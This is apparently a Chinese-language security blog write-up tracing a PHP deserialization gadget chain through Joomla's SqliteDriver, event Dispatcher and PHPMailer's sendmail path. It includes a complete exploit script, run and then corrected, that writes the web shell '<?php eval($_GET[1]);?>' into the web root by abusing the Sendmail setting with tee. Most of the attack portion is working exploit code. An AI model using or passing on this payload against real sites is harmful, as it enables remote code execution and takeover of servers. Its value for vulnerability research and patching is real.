我们首先寻找漏洞利用的点

我们跟进到phpmailer.php。

此处$Sendmail的值是我们可控的,而$body值则是函数传入值,那么我们这里可以实现文件写入。

$sendmail = sprintf(
    '%s -oi -f %s -t',          // 格式
    escapeshellcmd("tee /var/www/html/shell.php --"),  // 第一个%s
    "attacker@example.com"      // 第二个%s
);
// 结果:tee /var/www/html/shell.php -- -oi -f attacker@example.com -t

然后我们对sendmailSend方法查找方法,看谁调用了他。

只要$Mailer为sendmail或者qmail都能进入到sendmailSend方法。

继续查找用法

这里我们让presend返回true即可进入postSend方法。

然后我们在send方法查找方法。但是我们啥都找不到。

然后我们在此处找到了一个可以调用方法的地方。调用$listener的$event方法。接着看何处调用dispatcher

databaseDriver的dispatchEvent方法调用了dispatch,先getDispatcher再调用它的dispatch。继续看何处调用dispatchEvent。

databaseDriver的disconnect方法调用了它

这里说明当SqliteDriver对象销毁时,会自动触发名为'onAfterDisconnect'的事件。

然后在disconnect处查找用法

找到入口点啦!但是DataBaseDriver是抽象类,我们找一下它的子类实现它:

一整条链子就完成了

SqliteDriver#__destruct ->
    DatabaseDriver#disconnect ->
        DatabaseDriver#dispatchEvent ->
            Dispatcher#dispatch ->
                PHPMail#send ->
                    PHPMail#postSend ->
                        PHPMail#sendmailSend ->
                            popen!!!

然后我们开始分析一下

我们首先看看ConnectionEvent

第一个传参是name,也就是onAfterDisconnect;第二个传参是一个driver($this,也就是自己)。

new ConnectionEvent(DatabaseEvents::POST_DISCONNECT, $this)
// 等价于:
new ConnectionEvent('onAfterDisconnect', $driver)

接着跟进到dispatchEvent方法,先调用getDispatcher获取dispatcher,然后调用dispatcher的dispatch方法,此处获取的dispatcher就要是如下dispatcher了:

在dispatch方法中遍历listeners数组,并调用$listener的event,也就是遍历所有监听器并执行。

这里我们让它变成调用PHPMail的send方法!

$event->getName其实就是onAfterDisconnect,那么$listeners就可以设置如下:

['onAfterDisconnect' => [[$phpmailer, 'send']]]

循环listeners的onAfterDisconnect,那么$listener就是[[$phpmailer, 'send']],对应了$phpmailer->send,实现了调用!

那我们继续往下看:

我们需要让preSend为true。继续跟进

这里我们让$Mail为sendmail或者qmail都可以。

然后构造命令即可。

构造exp如下:

<?php
namespace Joomla\Database\Sqlite{
    class SqliteDriver{
        protected $dispatcher;

        public function __construct($dispatcher){
            $this->dispatcher = $dispatcher;
        }
    }

}

namespace Joomla\Event{
    class Dispatcher{
        protected $listeners = [];

        public function __construct($listeners){
            $this->listeners = $listeners;
        }
    }
}

namespace PHPMailer\PHPMailer{
    class PHPMailer{
        public $Mailer='qmail';
        public $Sender='MeteorKai@qq.com';
        public $Sendmail='tee /var/www/html/tmp/shell.php --';
        public $CharSet = 'iso-8859-1';
        public $Body='<?php eval($_GET[1]);?>';
        public $From = 'MeteorKai@example.com';
        public $AllowEmpty = false;
        protected $cc = [['MeteorKai@qq.com','MeteorKai']];

    }
}

namespace{
    $phpmailer = new \PHPMailer\PHPMailer\PHPMailer();
    $dispatcher = new \Joomla\Event\Dispatcher(['onAfterDisconnect' => [[$phpmailer,'send']]]);
    $driver = new \Joomla\Database\Sqlite\SqliteDriver($dispatcher);
    echo urlencode(base64_encode(serialize($driver)));
}

但是发现会报错??

Fatal error: Uncaught TypeError: Joomla\Database\Pdo\PdoDriver::__construct(): Argument #1 ($options) must be of type array, null given, called in /var/www/html/libraries/vendor/joomla/database/src/Pdo/PdoDriver.php on line 783 and defined in /var/www/html/libraries/vendor/joomla/database/src/Pdo/PdoDriver.php:71 Stack trace: #0 /var/www/html/libraries/vendor/joomla/database/src/Pdo/PdoDriver.php(783): Joomla\Database\Pdo\PdoDriver->__construct(NULL) #1 [internal function]: Joomla\Database\Pdo\PdoDriver->__wakeup() #2 /var/www/html/unser.php(6): unserialize('O:35:"Joomla\\Da...') #3 {main} thrown in /var/www/html/libraries/vendor/joomla/database/src/Pdo/PdoDriver.php on line 71

问了一下AI,说错误发生在wakeup中,回归源码看看:

<?php
namespace Joomla\Database\Sqlite{
    class SqliteDriver{
        protected $dispatcher;
        protected $options= ['driver'=>'MeteorKai'];//这里是host什么的都可以
        public function __construct($dispatcher){
            $this->dispatcher = $dispatcher;
        }
    }

}

namespace Joomla\Event{
    class Dispatcher{
        protected $listeners = [];

        public function __construct($listeners){
            $this->listeners = $listeners;
        }
    }
}

namespace PHPMailer\PHPMailer{
    class PHPMailer{
        public $Mailer='qmail';
        public $Sender='MeteorKai@qq.com';
        public $Sendmail='tee /var/www/html/tmp/shell1.php --';
        public $CharSet = 'iso-8859-1';
        public $Body='<?php eval($_GET[1]);?>';
        public $From = 'MeteorKai@example.com';
        public $AllowEmpty = false;
        protected $cc = [['MeteorKai@qq.com','MeteorKai']];

    }
}

namespace{
    $phpmailer = new \PHPMailer\PHPMailer\PHPMailer();
    $dispatcher = new \Joomla\Event\Dispatcher(['onAfterDisconnect' => [[$phpmailer,'send']]]);
    $driver = new \Joomla\Database\Sqlite\SqliteDriver($dispatcher);
    echo urlencode(base64_encode(serialize($driver)));
}

成功!